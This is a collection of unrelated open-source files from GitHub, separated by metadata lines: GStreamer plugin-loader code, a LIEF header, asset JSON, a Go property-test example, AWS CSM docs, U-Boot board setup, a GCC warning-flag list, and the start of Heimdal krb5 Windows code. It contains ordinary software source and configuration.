chunk->size; if (G_UNLIKELY (l->tx_buf_write + len >= l->tx_buf_size)) { guint new_size = MAX (l->tx_buf_write + len, l->tx_buf_size + l->tx_buf_size / 4) + BUF_GROW_EXTRA; GST_LOG ("Expanding tx buf from %d to %d for chunk of size %d", l->tx_buf_size, new_size, chunk->size); l->tx_buf_size = new_size; l->tx_buf = g_realloc (l->tx_buf, l->tx_buf_size); } out = l->tx_buf + l->tx_buf_write; /* Clear the padding */ if (padsize) memset (out, 0, padsize); memcpy (out + padsize, chunk->data, chunk->size); l->tx_buf_write += len; *pos += len; gst_poll_fd_ctl_write (l->fdset, &l->fd_w, TRUE); }; static gboolean write_one (GstPluginLoader * l) { guint8 *out; guint32 to_write, magic; int res; if (l->tx_buf_read + HEADER_SIZE > l->tx_buf_write) return FALSE; out = l->tx_buf + l->tx_buf_read; magic = GST_READ_UINT32_BE (out + 8); if (magic != HEADER_MAGIC) { GST_ERROR ("Packet magic number is missing. Memory corruption detected"); goto fail_and_cleanup; } to_write = GST_READ_UINT32_BE (out + 4) + HEADER_SIZE; /* Check that the magic is intact, and the size is sensible */ if (to_write > l->tx_buf_size) { GST_ERROR ("Indicated packet size is too large. Corruption detected"); goto fail_and_cleanup; } l->tx_buf_read += to_write; GST_LOG ("Writing packet of size %d bytes to fd %d", to_write, l->fd_w.fd); do { res = write (l->fd_w.fd, out, to_write); if (G_UNLIKELY (res < 0)) { if (errno == EAGAIN || errno == EINTR) continue; /* Failed to write -> child died */ goto fail_and_cleanup; } to_write -= res; out += res; } while (to_write > 0); if (l->tx_buf_read == l->tx_buf_write) { gst_poll_fd_ctl_write (l->fdset, &l->fd_w, FALSE); l->tx_buf_read = l->tx_buf_write = 0; } return TRUE; fail_and_cleanup: plugin_loader_cleanup_child (l); return FALSE; } static gboolean do_plugin_load (GstPluginLoader * l, const gchar * filename, guint tag) { GstPlugin *newplugin; GList *chunks = NULL; GST_DEBUG ("Plugin scanner loading file %s. tag %u", filename, tag); #if 0 /* Test code - crash based on filename */ if (strstr (filename, "coreelements") == NULL) { g_printerr ("Crashing on file %s\n", filename); g_printerr ("%d", *(gint *) (NULL)); } #endif newplugin = gst_plugin_load_file ((gchar *) filename, NULL); if (newplugin) { guint hdr_pos; guint offset; /* Now serialise the plugin details and send */ if (!_priv_gst_registry_chunks_save_plugin (&chunks, gst_registry_get (), newplugin)) goto fail; /* Store where the header is, write an empty one, then write * all the payload chunks, then fix up the header size */ hdr_pos = l->tx_buf_write; offset = HEADER_SIZE; put_packet (l, PACKET_PLUGIN_DETAILS, tag, NULL, 0); if (chunks) { GList *walk; for (walk = chunks; walk; walk = g_list_next (walk)) { GstRegistryChunk *cur = walk->data; put_chunk (l, cur, &offset); _priv_gst_registry_chunk_free (cur); } g_list_free (chunks); /* Store the size of the written payload */ GST_WRITE_UINT32_BE (l->tx_buf + hdr_pos + 4, offset - HEADER_SIZE); } #if 0 /* Test code - corrupt the tx buffer based on filename */ if (strstr (filename, "sink") != NULL) { int fd, res; g_printerr ("Corrupting tx buf on file %s\n", filename); fd = open ("/dev/urandom", O_RDONLY); res = read (fd, l->tx_buf, l->tx_buf_size); close (fd); } #endif gst_object_unref (newplugin); } else { put_packet (l, PACKET_PLUGIN_DETAILS, tag, NULL, 0); } return TRUE; fail: put_packet (l, PACKET_PLUGIN_DETAILS, tag, NULL, 0); if (chunks) { GList *walk; for (walk = chunks; walk; walk = g_list_next (walk)) { GstRegistryChunk *cur = walk->data; _priv_gst_registry_chunk_free (cur); } g_list_free (chunks); } return FALSE; } static gboolean check_protocol_version (GstPluginLoader * l, guint8 * payload, guint payload_len) { guint32 got_version; guint8 *binary_reg_ver; if (payload_len < sizeof (guint32) + GST_MAGIC_BINARY_VERSION_LEN) return FALSE; got_version = GST_READ_UINT32_BE (payload); GST_LOG ("Got VERSION %u from child. Ours is %u", got_version, loader_protocol_version); if (got_version != loader_protocol_version) return FALSE; binary_reg_ver = payload + sizeof (guint32); if (strcmp ((gchar *) binary_reg_ver, GST_MAGIC_BINARY_VERSION_STR)) { GST_LOG ("Binary chunk format of child is different. Ours: %s, child %s\n", GST_MAGIC_BINARY_VERSION_STR, binary_reg_ver); return FALSE; } return TRUE; }; static gboolean handle_rx_packet (GstPluginLoader * l, guint pack_type, guint32 tag, guint8 * payload, guint payload_len) { gboolean res = TRUE; switch (pack_type) { case PACKET_EXIT: gst_poll_fd_ctl_read (l->fdset, &l->fd_r, FALSE); if (l->is_child) { /* Respond */ put_packet (l, PACKET_EXIT, 0, NULL, 0); } l->rx_done = TRUE; return TRUE; case PACKET_LOAD_PLUGIN:{ if (!l->is_child) return TRUE; /* Payload is the filename to load */ res = do_plugin_load (l, (gchar *) payload, tag); break; } case PACKET_PLUGIN_DETAILS:{ gchar *tmp = (gchar *) payload; PendingPluginEntry *entry = NULL; GList *cur; GST_DEBUG_OBJECT (l->registry, "Received plugin details from child w/ tag %u. %d bytes info", tag, payload_len); /* Assume that tagged details come back in the order * we requested, and delete anything before (but not * including) this one */ cur = l->pending_plugins; while (cur) { PendingPluginEntry *e = (PendingPluginEntry *) (cur->data); if (e->tag > tag) break; if (e->tag == tag) { entry = e; break; } else { cur = g_list_delete_link (cur, cur); g_free (e->filename); g_slice_free (PendingPluginEntry, e); } } l->pending_plugins = cur; if (cur == NULL) l->pending_plugins_tail = NULL; if (payload_len > 0) { GstPlugin *newplugin = NULL; if (!_priv_gst_registry_chunks_load_plugin (l->registry, &tmp, tmp + payload_len, &newplugin)) { /* Got garbage from the child, so fail and trigger replay of plugins */ GST_ERROR_OBJECT (l->registry, "Problems loading plugin details with tag %u from scanner", tag); return FALSE; } GST_OBJECT_FLAG_UNSET (newplugin, GST_PLUGIN_FLAG_CACHED); GST_LOG_OBJECT (l->registry, "marking plugin %p as registered as %s", newplugin, newplugin->filename); newplugin->registered = TRUE; /* We got a set of plugin details - remember it for later */ l->got_plugin_details = TRUE; } else if (entry != NULL) { /* Create a blacklist entry for this file to prevent scanning every time */ plugin_loader_create_blacklist_plugin (l, entry); l->got_plugin_details = TRUE; } if (entry != NULL) { g_free (entry->filename); g_slice_free (PendingPluginEntry, entry); } /* Remove the plugin entry we just loaded */ cur = l->pending_plugins; if (cur != NULL) cur = g_list_delete_link (cur, cur); l->pending_plugins = cur; if (cur == NULL) l->pending_plugins_tail = NULL; break; } case PACKET_SYNC: if (l->is_child) { /* Respond with our reply - also a sync */ put_packet (l, PACKET_SYNC, tag, NULL, 0); GST_LOG ("Got SYNC in child - replying"); } else l->rx_got_sync = TRUE; break; case PACKET_VERSION: if (l->is_child) { /* Respond with our reply - a version packet, with the version */ const gint version_len = sizeof (guint32) + GST_MAGIC_BINARY_VERSION_LEN; guint8 version_info[sizeof (guint32) + GST_MAGIC_BINARY_VERSION_LEN]; memset (version_info, 0, version_len); GST_WRITE_UINT32_BE (version_info, loader_protocol_version); memcpy (version_info + sizeof (guint32), GST_MAGIC_BINARY_VERSION_STR, strlen (GST_MAGIC_BINARY_VERSION_STR)); put_packet (l, PACKET_VERSION, tag, version_info, version_len); GST_LOG ("Got VERSION in child - replying %u", loader_protocol_version); } else { res = check_protocol_version (l, payload, payload_len); } break; default: return FALSE; /* Invalid packet -> something is wrong */ } return res; } static gboolean read_one (GstPluginLoader * l) { guint64 magic; guint32 to_read, packet_len, tag; guint8 *in; gint res; to_read = HEADER_SIZE; in = l->rx_buf; do { res = read (l->fd_r.fd, in, to_read); if (G_UNLIKELY (res < 0)) { if (errno == EAGAIN || errno == EINTR) continue; GST_LOG ("Failed reading packet header"); return FALSE; } to_read -= res; in += res; } while (to_read > 0); magic = GST_READ_UINT32_BE (l->rx_buf + 8); if (magic != HEADER_MAGIC) { GST_WARNING ("Invalid packet (bad magic number) received from plugin scanner subprocess"); return FALSE; } packet_len = GST_READ_UINT32_BE (l->rx_buf + 4); if (packet_len + HEADER_SIZE > BUF_MAX_SIZE) { GST_WARNING ("Received excessively large packet for plugin scanner subprocess"); return FALSE; } tag = GST_READ_UINT24_BE (l->rx_buf + 1); if (packet_len > 0) { if (packet_len + HEADER_SIZE >= l->rx_buf_size) { GST_LOG ("Expanding rx buf from %d to %d", l->rx_buf_size, packet_len + HEADER_SIZE + BUF_GROW_EXTRA); l->rx_buf_size = packet_len + HEADER_SIZE + BUF_GROW_EXTRA; l->rx_buf = g_realloc (l->rx_buf, l->rx_buf_size); } in = l->rx_buf + HEADER_SIZE; to_read = packet_len; do { res = read (l->fd_r.fd, in, to_read); if (G_UNLIKELY (res < 0)) { if (errno == EAGAIN || errno == EINTR) continue; GST_ERROR ("Packet payload read failed"); return FALSE; } to_read -= res; in += res; } while (to_read > 0); } else { GST_LOG ("No payload to read for 0 length packet type %d tag %u", l->rx_buf[0], tag); } return handle_rx_packet (l, l->rx_buf[0], tag, l->rx_buf + HEADER_SIZE, packet_len); } static gboolean exchange_packets (GstPluginLoader * l) { gint res; /* Wait for activity on our FDs */ do { do { res = gst_poll_wait (l->fdset, GST_SECOND); } while (res == -1 && (errno == EINTR || errno == EAGAIN)); if (res < 0) return FALSE; GST_LOG ("Poll res = %d. %d bytes pending for write", res, l->tx_buf_write - l->tx_buf_read); if (!l->rx_done) { if (gst_poll_fd_has_error (l->fdset, &l->fd_r)) { GST_LOG ("read fd %d errored", l->fd_r.fd); goto fail_and_cleanup; } if (gst_poll_fd_can_read (l->fdset, &l->fd_r)) { if (!read_one (l)) goto fail_and_cleanup; } else if (gst_poll_fd_has_closed (l->fdset, &l->fd_r)) { GST_LOG ("read fd %d closed", l->fd_r.fd); goto fail_and_cleanup; } } if (l->tx_buf_read < l->tx_buf_write) { if (gst_poll_fd_has_error (l->fdset, &l->fd_w)) { GST_ERROR ("write fd %d errored", l->fd_w.fd); goto fail_and_cleanup; } if (gst_poll_fd_can_write (l->fdset, &l->fd_w)) { if (!write_one (l)) goto fail_and_cleanup; } else if (gst_poll_fd_has_closed (l->fdset, &l->fd_w)) { GST_LOG ("write fd %d closed", l->fd_w.fd); goto fail_and_cleanup; } } } while (l->tx_buf_read < l->tx_buf_write); return TRUE; fail_and_cleanup: plugin_loader_cleanup_child (l); return FALSE; }
{ "pile_set_name": "Github" }
/* Copyright 2017 R. Thomas * Copyright 2017 Quarkslab * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef LIEF_PE_RESOURCE_STRING_FILE_INFO_H_ #define LIEF_PE_RESOURCE_STRING_FILE_INFO_H_ #include <iostream> #include <sstream> #include "LIEF/visibility.h" #include "LIEF/Object.hpp" #include "LIEF/PE/Structures.hpp" #include "LIEF/PE/resources/LangCodeItem.hpp" namespace LIEF { namespace PE { class ResourcesManager; class ResourceVersion; //! @brief Modelization of the ``StringFileInfo`` structure //! //! It contains version information that can be displayed for a particular language and code page. //! //! See: https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms646989(v=vs.85).aspx class LIEF_API ResourceStringFileInfo : public Object { friend class ResourcesManager; friend class ResourceVersion; public: ResourceStringFileInfo(const ResourceStringFileInfo&); ResourceStringFileInfo& operator=(const ResourceStringFileInfo&); virtual ~ResourceStringFileInfo(void); //! @brief The type of data in the version resource //! * ``1`` if it contains text data //! * ``0`` if it contains binary data uint16_t type(void) const; //! @brief Signature of the structure: //! Must be the unicode string "StringFileInfo" const std::u16string& key(void) const; //! @brief List of the LangCodeItem items. //! //! Each LangCodeItem::key indicates the appropriate //! language and code page for displaying the ``key: value`` of //! LangCodeItem::items const std::vector<LangCodeItem>& langcode_items(void) const; std::vector<LangCodeItem>& langcode_items(void); void type(uint16_t type); void key(const std::u16string& key); void key(const std::string& key); void langcode_items(const std::vector<LangCodeItem>& items); virtual void accept(Visitor& visitor) const override; bool operator==(const ResourceStringFileInfo& rhs) const; bool operator!=(const ResourceStringFileInfo& rhs) const; LIEF_API friend std::ostream& operator<<(std::ostream& os, const ResourceStringFileInfo& string_file_info); private: ResourceStringFileInfo(void); uint16_t type_; std::u16string key_; std::vector<LangCodeItem> childs_; }; } } #endif
{ "pile_set_name": "Github" }
{ "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "v2_my_r@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "v2_my_r@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "original" } }
{ "pile_set_name": "Github" }
// Copyright 2019 Gregory Petrosyan <gregory.petrosyan@gmail.com> // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this // file, You can obtain one at https://mozilla.org/MPL/2.0/. package rapid_test import ( "fmt" "strconv" "testing" "pgregory.net/rapid" ) // ParseDate parses dates in the YYYY-MM-DD format. func ParseDate(s string) (int, int, int, error) { if len(s) != 10 { return 0, 0, 0, fmt.Errorf("%q has wrong length: %v instead of 10", s, len(s)) } if s[4] != '-' || s[7] != '-' { return 0, 0, 0, fmt.Errorf("'-' separators expected in %q", s) } y, err := strconv.Atoi(s[0:4]) if err != nil { return 0, 0, 0, fmt.Errorf("failed to parse year: %v", err) } m, err := strconv.Atoi(s[6:7]) if err != nil { return 0, 0, 0, fmt.Errorf("failed to parse month: %v", err) } d, err := strconv.Atoi(s[8:10]) if err != nil { return 0, 0, 0, fmt.Errorf("failed to parse day: %v", err) } return y, m, d, nil } func testParseDate(t *rapid.T) { y := rapid.IntRange(0, 9999).Draw(t, "y").(int) m := rapid.IntRange(1, 12).Draw(t, "m").(int) d := rapid.IntRange(1, 31).Draw(t, "d").(int) s := fmt.Sprintf("%04d-%02d-%02d", y, m, d) y_, m_, d_, err := ParseDate(s) if err != nil { t.Fatalf("failed to parse date %q: %v", s, err) } if y_ != y || m_ != m || d_ != d { t.Fatalf("got back wrong date: (%d, %d, %d)", y_, m_, d_) } } // Rename to TestParseDate(t *testing.T) to make an actual (failing) test. func ExampleCheck_parseDate() { var t *testing.T rapid.Check(t, testParseDate) }
{ "pile_set_name": "Github" }
{ "data": [ { "id": "9197ba55-0abc-4028-9bbe-269e530f8bd5", "name": "Fix Critical CVEs", "created_by": { "username": "jharting@redhat.com", "first_name": "Jozef", "last_name": "Hartinger" }, "created_at": "2018-12-05T08:19:36.641Z", "updated_by": { "username": "jharting@redhat.com", "first_name": "Jozef", "last_name": "Hartinger" }, "updated_at": "2018-12-05T08:19:36.641Z", "issue_count": 0, "system_count": 0, "needs_reboot": true } ], "meta": { "count": 0, "total": 0 }, "links": { "first": null, "last": null, "next": null, "previous": null } }
{ "pile_set_name": "Github" }
// Package csm provides the Client Side Monitoring (CSM) client which enables // sending metrics via UDP connection to the CSM agent. This package provides // control options, and configuration for the CSM client. The client can be // controlled manually, or automatically via the SDK's Session configuration. // // Enabling CSM client via SDK's Session configuration // // The CSM client can be enabled automatically via SDK's Session configuration. // The SDK's session configuration enables the CSM client if the AWS_CSM_PORT // environment variable is set to a non-empty value. // // The configuration options for the CSM client via the SDK's session // configuration are: // // * AWS_CSM_PORT=<port number> // The port number the CSM agent will receive metrics on. // // * AWS_CSM_HOST=<hostname or ip> // The hostname, or IP address the CSM agent will receive metrics on. // Without port number. // // Manually enabling the CSM client // // The CSM client can be started, paused, and resumed manually. The Start // function will enable the CSM client to publish metrics to the CSM agent. It // is safe to call Start concurrently, but if Start is called additional times // with different ClientID or address it will panic. // // r, err := csm.Start("clientID", ":31000") // if err != nil { // panic(fmt.Errorf("failed starting CSM: %v", err)) // } // // When controlling the CSM client manually, you must also inject its request // handlers into the SDK's Session configuration for the SDK's API clients to // publish metrics. // // sess, err := session.NewSession(&aws.Config{}) // if err != nil { // panic(fmt.Errorf("failed loading session: %v", err)) // } // // // Add CSM client's metric publishing request handlers to the SDK's // // Session Configuration. // r.InjectHandlers(&sess.Handlers) // // Controlling CSM client // // Once the CSM client has been enabled the Get function will return a Reporter // value that you can use to pause and resume the metrics published to the CSM // agent. If Get function is called before the reporter is enabled with the // Start function or via SDK's Session configuration nil will be returned. // // The Pause method can be called to stop the CSM client publishing metrics to // the CSM agent. The Continue method will resume metric publishing. // // // Get the CSM client Reporter. // r := csm.Get() // // // Will pause monitoring // r.Pause() // resp, err = client.GetObject(&s3.GetObjectInput{ // Bucket: aws.String("bucket"), // Key: aws.String("key"), // }) // // // Resume monitoring // r.Continue() package csm
{ "pile_set_name": "Github" }
boto3 caniusepython3 requests
{ "pile_set_name": "Github" }
{ "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "scale" : "2x", "filename" : "userinfo_relationship_indicator_compose@2x.png" }, { "idiom" : "universal", "scale" : "3x", "filename" : "userinfo_relationship_indicator_compose@3x.png" } ], "info" : { "version" : 1, "author" : "xcode" } }
{ "pile_set_name": "Github" }
'use strict'; // 25.4.1.5 NewPromiseCapability(C) var aFunction = require('./_a-function'); function PromiseCapability(C) { var resolve, reject; this.promise = new C(function ($$resolve, $$reject) { if (resolve !== undefined || reject !== undefined) throw TypeError('Bad Promise constructor'); resolve = $$resolve; reject = $$reject; }); this.resolve = aFunction(resolve); this.reject = aFunction(reject); } module.exports.f = function (C) { return new PromiseCapability(C); };
{ "pile_set_name": "Github" }
/* * (C) Copyright 2007-2008 * Stelian Pop <stelian@popies.net> * Lead Tech Design <www.leadtechdesign.com> * * SPDX-License-Identifier: GPL-2.0+ */ #include <common.h> #include <asm/io.h> #include <asm/arch/at91sam9260_matrix.h> #include <asm/arch/at91sam9_smc.h> #include <asm/arch/at91_common.h> #include <asm/arch/at91_pmc.h> #include <asm/arch/gpio.h> #include <atmel_mci.h> #if defined(CONFIG_RESET_PHY_R) && defined(CONFIG_MACB) # include <net.h> #endif #include <netdev.h> DECLARE_GLOBAL_DATA_PTR; /* ------------------------------------------------------------------------- */ /* * Miscelaneous platform dependent initialisations */ #ifdef CONFIG_CMD_NAND static void at91sam9260ek_nand_hw_init(void) { struct at91_smc *smc = (struct at91_smc *)ATMEL_BASE_SMC; struct at91_matrix *matrix = (struct at91_matrix *)ATMEL_BASE_MATRIX; unsigned long csa; /* Assign CS3 to NAND/SmartMedia Interface */ csa = readl(&matrix->ebicsa); csa |= AT91_MATRIX_CS3A_SMC_SMARTMEDIA; writel(csa, &matrix->ebicsa); /* Configure SMC CS3 for NAND/SmartMedia */ writel(AT91_SMC_SETUP_NWE(1) | AT91_SMC_SETUP_NCS_WR(0) | AT91_SMC_SETUP_NRD(1) | AT91_SMC_SETUP_NCS_RD(0), &smc->cs[3].setup); writel(AT91_SMC_PULSE_NWE(3) | AT91_SMC_PULSE_NCS_WR(3) | AT91_SMC_PULSE_NRD(3) | AT91_SMC_PULSE_NCS_RD(3), &smc->cs[3].pulse); writel(AT91_SMC_CYCLE_NWE(5) | AT91_SMC_CYCLE_NRD(5), &smc->cs[3].cycle); writel(AT91_SMC_MODE_RM_NRD | AT91_SMC_MODE_WM_NWE | AT91_SMC_MODE_EXNW_DISABLE | #ifdef CONFIG_SYS_NAND_DBW_16 AT91_SMC_MODE_DBW_16 | #else /* CONFIG_SYS_NAND_DBW_8 */ AT91_SMC_MODE_DBW_8 | #endif AT91_SMC_MODE_TDF_CYCLE(2), &smc->cs[3].mode); /* Configure RDY/BSY */ at91_set_gpio_input(CONFIG_SYS_NAND_READY_PIN, 1); /* Enable NandFlash */ at91_set_gpio_output(CONFIG_SYS_NAND_ENABLE_PIN, 1); } #endif #ifdef CONFIG_MACB static void at91sam9260ek_macb_hw_init(void) { struct at91_pmc *pmc = (struct at91_pmc *)ATMEL_BASE_PMC; struct at91_port *pioa = (struct at91_port *)ATMEL_BASE_PIOA; /* Enable EMAC clock */ writel(1 << ATMEL_ID_EMAC0, &pmc->pcer); /* * Disable pull-up on: * RXDV (PA17) => PHY normal mode (not Test mode) * ERX0 (PA14) => PHY ADDR0 * ERX1 (PA15) => PHY ADDR1 * ERX2 (PA25) => PHY ADDR2 * ERX3 (PA26) => PHY ADDR3 * ECRS (PA28) => PHY ADDR4 => PHYADDR = 0x0 * * PHY has internal pull-down */ writel(pin_to_mask(AT91_PIN_PA14) | pin_to_mask(AT91_PIN_PA15) | pin_to_mask(AT91_PIN_PA17) | pin_to_mask(AT91_PIN_PA25) | pin_to_mask(AT91_PIN_PA26) | pin_to_mask(AT91_PIN_PA28), &pioa->pudr); at91_phy_reset(); /* Re-enable pull-up */ writel(pin_to_mask(AT91_PIN_PA14) | pin_to_mask(AT91_PIN_PA15) | pin_to_mask(AT91_PIN_PA17) | pin_to_mask(AT91_PIN_PA25) | pin_to_mask(AT91_PIN_PA26) | pin_to_mask(AT91_PIN_PA28), &pioa->puer); /* Initialize EMAC=MACB hardware */ at91_macb_hw_init(); } #endif #ifdef CONFIG_GENERIC_ATMEL_MCI int board_mmc_init(bd_t *bd) { at91_mci_hw_init(); return atmel_mci_init((void *)ATMEL_BASE_MCI); } #endif int board_early_init_f(void) { struct at91_pmc *pmc = (struct at91_pmc *)ATMEL_BASE_PMC; /* Enable clocks for all PIOs */ writel((1 << ATMEL_ID_PIOA) | (1 << ATMEL_ID_PIOB) | (1 << ATMEL_ID_PIOC), &pmc->pcer); return 0; } int board_init(void) { /* adress of boot parameters */ gd->bd->bi_boot_params = CONFIG_SYS_SDRAM_BASE + 0x100; at91_seriald_hw_init(); #ifdef CONFIG_CMD_NAND at91sam9260ek_nand_hw_init(); #endif #ifdef CONFIG_HAS_DATAFLASH at91_spi0_hw_init((1 << 0) | (1 << 1)); #endif #ifdef CONFIG_MACB at91sam9260ek_macb_hw_init(); #endif return 0; } int dram_init(void) { gd->ram_size = get_ram_size( (void *)CONFIG_SYS_SDRAM_BASE, CONFIG_SYS_SDRAM_SIZE); return 0; } #ifdef CONFIG_RESET_PHY_R void reset_phy(void) { } #endif int board_eth_init(bd_t *bis) { int rc = 0; #ifdef CONFIG_MACB rc = macb_eth_initialize(0, (void *)ATMEL_BASE_EMAC0, 0x00); #endif return rc; }
{ "pile_set_name": "Github" }
-Wabi -Wabi-tag -Waggregate-return -Waggressive-loop-optimizations -Wall # -Waddress # -Warray-bounds # -Wc++0x-compat # -Wnarrowing # -Wchar-subscripts # -Wdelete-non-virtual-dtor # -Wenum-compare # -Wformat= # -Wformat-contains-nul # -Wformat-extra-args # -Wformat-nonliteral # -Wformat-security # -Wformat-y2k # -Wformat-zero-length # -Wnonnull # -Wimplicit # -Wimplicit-function-declaration # -Wimplicit-int # -Winit-self # -Wmain # -Wmaybe-uninitialized # -Wmissing-braces # -Wnarrowing # -Wnonnull # -Wparentheses # -Wpointer-sign # -Wreorder # -Wreturn-type # -Wsequence-point # -Wsign-compare # -Wsizeof-pointer-memaccess # -Wstrict-aliasing= # -Wstrict-overflow= # -Wswitch # -Wuninitialized # -Wmaybe-uninitialized # -Wunknown-pragmas # -Wunused # -Wunused-but-set-variable # -Wunused-function # -Wunused-label # -Wunused-local-typedefs # -Wunused-value # -Wunused-variable # -Wvolatile-register-var -Wassign-intercept -Wattributes -Wbad-function-cast -Wbuiltin-macro-redefined -Wc++-compat # -Wenum-compare -Wcast-align -Wcast-qual -Wcomment -Wconversion # -Wsign-conversion -Wconversion-null -Wcoverage-mismatch -Wcpp -Wctor-dtor-privacy -Wdeclaration-after-statement -Wdeprecated -Wdeprecated-declarations -Wdisabled-optimization -Wdiv-by-zero -Wdouble-promotion -Weffc++ # -Wdelete-non-virtual-dtor -Wendif-labels -Wextra # -Wclobbered # -Wempty-body # -Wignored-qualifiers # -Wmissing-field-initializers # -Wmissing-parameter-type # -Wold-style-declaration # -Woverride-init # -Wsign-compare # -Wtype-limits # -Wuninitialized # -Wmaybe-uninitialized # -Wunused-but-set-parameter # -Wunused-parameter -Wfloat-equal -Wframe-larger-than= -Wfree-nonheap-object -Wimport # DUMMY switch -Winherited-variadic-ctor -Winline -Wint-to-pointer-cast -Winvalid-memory-model -Winvalid-offsetof -Winvalid-pch -Wjump-misses-init -Wlarger-than= -Wliteral-suffix -Wlogical-op -Wlong-long -Wmissing-declarations -Wmissing-include-dirs -Wmissing-prototypes -Wmudflap -Wmultichar -Wnested-externs -Wnoexcept -Wnon-template-friend -Wnon-virtual-dtor -Wnormalized= -Wold-style-cast -Wold-style-definition -Woverflow -Woverloaded-virtual -Wpacked -Wpacked-bitfield-compat -Wpadded -Wpedantic # -Wmain # -Woverlength-strings # -Wpointer-sign -Wpmf-conversions -Wpointer-arith -Wpointer-to-int-cast -Wpragmas -Wproperty-assign-default -Wprotocol -Wpsabi -Wredundant-decls -Wreturn-local-addr -Wselector -Wshadow -Wsign-promo -Wstack-protector -Wstack-usage= -Wstrict-aliasing -Wstrict-null-sentinel -Wstrict-overflow -Wstrict-prototypes -Wstrict-selector-match -Wsuggest-attribute=const -Wsuggest-attribute=format -Wsuggest-attribute=noreturn -Wsuggest-attribute=pure -Wswitch-default -Wswitch-enum -Wsync-nand -Wsynth -Wsystem-headers -Wtraditional -Wtraditional-conversion -Wtrampolines -Wtrigraphs -Wundeclared-selector -Wundef -Wunreachable-code # DUMMY switch -Wunsafe-loop-optimizations -Wunsuffixed-float-constants -Wunused-macros -Wunused-result -Wuseless-cast -Wvarargs -Wvariadic-macros -Wvector-operation-performance -Wvirtual-move-assign -Wvla -Wwrite-strings -Wzero-as-null-pointer-constant
{ "pile_set_name": "Github" }
/*********************************************************************** * Copyright (c) 2009, Secure Endpoints Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * **********************************************************************/ #include "krb5_locl.h" typedef int PTYPE; #ifdef _WIN32 #include <shlobj.h> #include <sddl.h> /* * Expand a %{TEMP} token * * The %{TEMP} token expands to the temporary path for the current * user as returned by GetTempPath(). * * @note: Since the GetTempPath() function relies on the TMP or TEMP * environment variables, this function will failover to the system * temporary directory until the user profile is loaded. In addition, * the returned path may or may not exist. */ static int _expand_temp_folder(krb5_context context, PTYPE param, const char *postfix, char **ret) { TCHAR tpath[MAX_PATH]; size_t len; if (!GetTempPath(sizeof(tpath)/sizeof(tpath[0]), tpath)) { if (context) krb5_set_error_message(context, EINVAL, "Failed to get temporary path (GLE=%d)", GetLastError()); return EINVAL; } len = strlen(tpath); if (len > 0 && tpath[len - 1] == '\\') tpath[len - 1] = '\0'; *ret = strdup(tpath); if (*ret == NULL) { if (context) krb5_set_error_message(context, ENOMEM, "strdup - Out of memory"); return ENOMEM; } return 0; } extern HINSTANCE _krb5_hInstance; /* * Expand a %{BINDIR} token * * This is also used to expand a few other tokens on Windows, since * most of the executable binaries end up in the same directory. The * "bin" directory is considered to be the directory in which the * krb5.dll is located. */ static int _expand_bin_dir(krb5_context context, PTYPE param, const char *postfix, char **ret) { TCHAR path[MAX_PATH]; TCHAR *lastSlash; DWORD nc; nc = GetModuleFileName(_krb5_hInstance, path, sizeof(path)/sizeof(path[0])); if (nc == 0 || nc == sizeof(path)/sizeof(path[0])) { return EINVAL; } lastSlash = strrchr(path, '\\'); if (lastSlash != NULL) { TCHAR *fslash = strrchr(lastSlash, '/'); if (fslash != NULL) lastSlash = fslash; *lastSlash = '\0'; } if (postfix) { if (strlcat(path, postfix, sizeof(path)/sizeof(path[0])) >= sizeof(path)/sizeof(path[0])) return EINVAL; } *ret = strdup(path); if (*ret == NULL) return ENOMEM; return 0; } /* * Expand a %{USERID} token * * The %{USERID} token expands to the string representation of the * user's SID. The user account that will be used is the account * corresponding to the current thread's security token. This means * that: * * - If the current thread token has the anonymous impersonation * level, the call will fail. * * - If the current thread is impersonating a token at * SecurityIdentification level the call will fail. * */ static int _expand_userid(krb5_context context, PTYPE param, const char *postfix, char **ret) { int rv = EINVAL; HANDLE hThread = NULL; HANDLE hToken = NULL; PTOKEN_OWNER pOwner = NULL; DWORD len = 0; LPTSTR strSid = NULL; hThread = GetCurrentThread(); if (!OpenThreadToken(hThread, TOKEN_QUERY, FALSE, /* Open the thread token as the current thread user. */ &hToken)) { DWORD le = GetLastError(); if (le == ERROR_NO_TOKEN) { HANDLE hProcess = GetCurrentProcess(); le = 0; if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) le = GetLastError(); } if (le != 0) { if (context) krb5_set_error_message(context, rv, "Can't open thread token (GLE=%d)", le); goto _exit; } } if (!GetTokenInformation(hToken, TokenOwner, NULL, 0, 